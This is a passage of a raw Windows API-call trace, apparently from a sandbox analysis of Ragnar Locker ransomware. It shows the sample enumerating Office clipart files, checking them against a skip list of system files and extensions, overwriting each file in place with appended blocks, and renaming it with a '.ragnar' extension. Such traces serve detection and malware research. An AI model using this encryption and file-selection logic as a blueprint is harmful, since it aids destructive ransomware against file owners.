lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.578] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.578] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.579] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.579] GetProcessHeap () returned 0x580000 [0087.579] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.579] CloseHandle (hObject=0xf4) returned 1 [0087.579] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" [0087.579] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.ragnar_FD7BD9FC" [0087.579] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.579] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304371.WMF", cAlternateFileName="")) returned 1 [0087.579] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.580] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0304371.WMF" | out: lpString1="J0304371.WMF") returned="J0304371.WMF" [0087.580] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF") returned=".WMF" [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="autorun.inf") returned 1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="boot.ini") returned 1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="bootfont.bin") returned 1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="bootsect.bak") returned 1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="bootmgr") returned 1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="bootmgr.efi") returned 1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="bootmgfw.efi") returned 1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="desktop.ini") returned 1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="iconcache.db") returned 1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="ntldr") returned -1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="ntuser.dat") returned -1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="ntuser.dat.log") returned -1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="ntuser.ini") returned -1 [0087.580] lstrcmpiW (lpString1="J0304371.WMF", lpString2="thumbs.db") returned -1 [0087.580] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.580] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.580] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.580] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.580] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.580] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.580] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf")) returned 0x20 [0087.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.581] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3616) returned 1 [0087.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.581] GetProcessHeap () returned 0x580000 [0087.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.581] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.582] VirtualAlloc (lpAddress=0x0, dwSize=0xe20, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.583] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe20, lpOverlapped=0x0) returned 1 [0087.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.583] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe20, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.583] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe20, lpOverlapped=0x0) returned 1 [0087.583] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.583] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.583] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.583] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.583] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.584] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.584] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.584] GetProcessHeap () returned 0x580000 [0087.584] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.584] CloseHandle (hObject=0xf4) returned 1 [0087.584] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" [0087.584] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.ragnar_FD7BD9FC" [0087.584] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.585] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x103e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304405.WMF", cAlternateFileName="")) returned 1 [0087.585] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.585] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0304405.WMF" | out: lpString1="J0304405.WMF") returned="J0304405.WMF" [0087.585] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF") returned=".WMF" [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="autorun.inf") returned 1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="boot.ini") returned 1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="bootfont.bin") returned 1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="bootsect.bak") returned 1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="bootmgr") returned 1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="bootmgr.efi") returned 1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="bootmgfw.efi") returned 1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="desktop.ini") returned 1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="iconcache.db") returned 1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="ntldr") returned -1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="ntuser.dat") returned -1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="ntuser.dat.log") returned -1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="ntuser.ini") returned -1 [0087.585] lstrcmpiW (lpString1="J0304405.WMF", lpString2="thumbs.db") returned -1 [0087.585] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.585] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.585] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.585] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.585] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.585] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.585] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf")) returned 0x20 [0087.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.586] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4158) returned 1 [0087.586] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1035, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.586] GetProcessHeap () returned 0x580000 [0087.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.586] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.588] VirtualAlloc (lpAddress=0x0, dwSize=0x103e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.588] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.588] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.588] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x103e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x103e, lpOverlapped=0x0) returned 1 [0087.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.591] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x103e, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.591] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x103e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x103e, lpOverlapped=0x0) returned 1 [0087.591] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x103e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.591] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.592] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x103e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.592] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.592] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.592] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.592] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.592] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.592] GetProcessHeap () returned 0x580000 [0087.592] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.592] CloseHandle (hObject=0xf4) returned 1 [0087.592] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" [0087.592] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.ragnar_FD7BD9FC" [0087.592] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.593] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304853.WMF", cAlternateFileName="")) returned 1 [0087.593] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.593] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0304853.WMF" | out: lpString1="J0304853.WMF") returned="J0304853.WMF" [0087.593] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF") returned=".WMF" [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="autorun.inf") returned 1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="boot.ini") returned 1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="bootfont.bin") returned 1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="bootsect.bak") returned 1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="bootmgr") returned 1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="bootmgr.efi") returned 1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="bootmgfw.efi") returned 1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="desktop.ini") returned 1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="iconcache.db") returned 1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="ntldr") returned -1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="ntuser.dat") returned -1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="ntuser.dat.log") returned -1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="ntuser.ini") returned -1 [0087.593] lstrcmpiW (lpString1="J0304853.WMF", lpString2="thumbs.db") returned -1 [0087.593] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.593] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.593] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.593] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.594] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.594] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.594] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf")) returned 0x20 [0087.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.594] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18958) returned 1 [0087.594] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4a05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.594] GetProcessHeap () returned 0x580000 [0087.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.594] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.596] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.596] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4a0e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4a0e, lpOverlapped=0x0) returned 1 [0087.597] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.597] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4a0e, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.597] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4a0e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4a0e, lpOverlapped=0x0) returned 1 [0087.597] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4a0e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.597] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.597] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4a0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.597] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.598] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.598] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.598] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.598] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.598] GetProcessHeap () returned 0x580000 [0087.598] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.598] CloseHandle (hObject=0xf4) returned 1 [0087.598] lstrcpyW (in: 